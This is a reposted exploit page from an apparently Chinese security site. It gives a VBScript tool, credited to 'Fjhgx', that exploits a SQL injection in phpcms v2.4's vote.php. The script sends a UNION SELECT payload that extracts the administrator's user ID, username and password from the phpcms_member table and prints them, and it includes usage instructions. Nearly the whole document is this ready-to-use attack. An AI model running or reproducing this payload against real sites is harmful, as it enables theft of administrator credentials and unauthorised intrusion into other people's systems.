首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpcms v2.4 SQL injection exploit (test vbs_exp)
来源:http://www.wolvez.org 作者:Fjhgx 发布时间:2011-06-09  

on   error   resume   next
Set objArgs = WScript.Arguments


dim my_http
dim my_path
dim fjhgx
print_r()

if objArgs.length = 0 then
quit_print()
End if
if objArgs(0) = null then
        quit_print()
Else
        my_http = objArgs(0)
End if

if objArgs(1) = null then
        quit_print()
Else
        my_path = objArgs(1)
End if

 

Set Http = CreateObject("Microsoft.XMLHTTP")
Http.Open "get","http://"&my_http&my_path&"vote.php?action=result&voteid=999999.9+UNION+ALL+SELECT+(Select concat(0x7e,0x27,userid,0x27,username,0x27,password,0x7e,0x27) FROM phpcms_member where adminid=1 limit 0,1)+,12,12,12,12,12,12,12,12,12,12,12,12--",False
Http.Send
fjhgx = Zhuanhuan(Http.responsebody)
Set Http = Nothing

if InStr(fjhgx, "voteid=~'") Then
Else
WScript.Echo "Exploit failed..."
wscript.quit        '退出
End If

fjhgx = RegExpTest("WHERE voteid=~'.*~' ",fjhgx)
fjhgx = Replace(fjhgx,"WHERE voteid=~'","")
fjhgx = Replace(fjhgx,"~' ","")

dim fjhgx_b
fjhgx_b = Split(fjhgx,"'")
WScript.Echo " *  [+] UserID   : " & fjhgx_b(0)
WScript.Echo " *  [+] Username : " & fjhgx_b(1)
WScript.Echo " *  [+] Password : " & fjhgx_b(2)


Function print_r()
        WScript.Echo "+---------------------------------------------------------------------------+"
        WScript.Echo "        phpcms v2.4 SQL injection exploit"
        WScript.Echo "        test: Fjhgx 俺是农村的"
        WScript.Echo "        mail: bugtosafe@gmail.com"
        WScript.Echo "        team: http://www.wolvez.org"
        WScript.Echo "+---------------------------------------------------------------------------+"
End Function

Function quit_print()
        WScript.Echo "        Usage: CScript 1.vbs Url [Pre]"
        WScript.Echo "        Example:"
        WScript.Echo "        CScript 1.vbs localhost /"
        WScript.Echo "        CScript 1.vbs localhost /phpcms_v2.4/"
        wscript.quit        '退出
End Function

'创建转换函数用以转换编码
Function Zhuanhuan(vIn)
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn,i+1,1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    i = i + 1
  End If
  Next
 Zhuanhuan = strReturn
End Function


Function RegExpTest(patrn, strng)
        Dim regEx, Match, Matches      ' 建立变量。
        Set regEx = New RegExp         ' 建立正则表达式。
        regEx.Pattern = patrn         ' 设置模式。
        regEx.IgnoreCase = True         ' 设置是否区分字符大小写。
        regEx.Global = True         ' 设置全局可用性。
        Set Matches = regEx.Execute(strng)   ' 执行搜索。
        For Each Match in Matches      ' 遍历匹配集合。
        'RetStr = RetStr & "Match found at position "
        'RetStr = RetStr & Match.FirstIndex & ". Match Value is '"
        RetStr = RetStr & Match.Value & vbCRLF
        Next
        RegExpTest = RetStr
End Function


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeBSD/x86 SmallBind TCP on p
·7-Technologies IGSS 9 IGSSdata
·ActFax Server FTP Remote BOF (
·FreeBSD/x86 Execve ('/bin/sh')
·Linux/x86-32 - ConnectBack wit
·Pacer Edition CMS 2.1 Arbitrar
·VLC Media Player XSPF Local Fi
·IBM Tivoli Endpoint Manager PO
·Cisco AnyConnect VPN Client Ac
·UUSEE Active-X Buffer Overflow
·KMPlayer 3.0.0.1440 Buffer Ove
·DEC Alpha Linux 3.0 Local Root
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved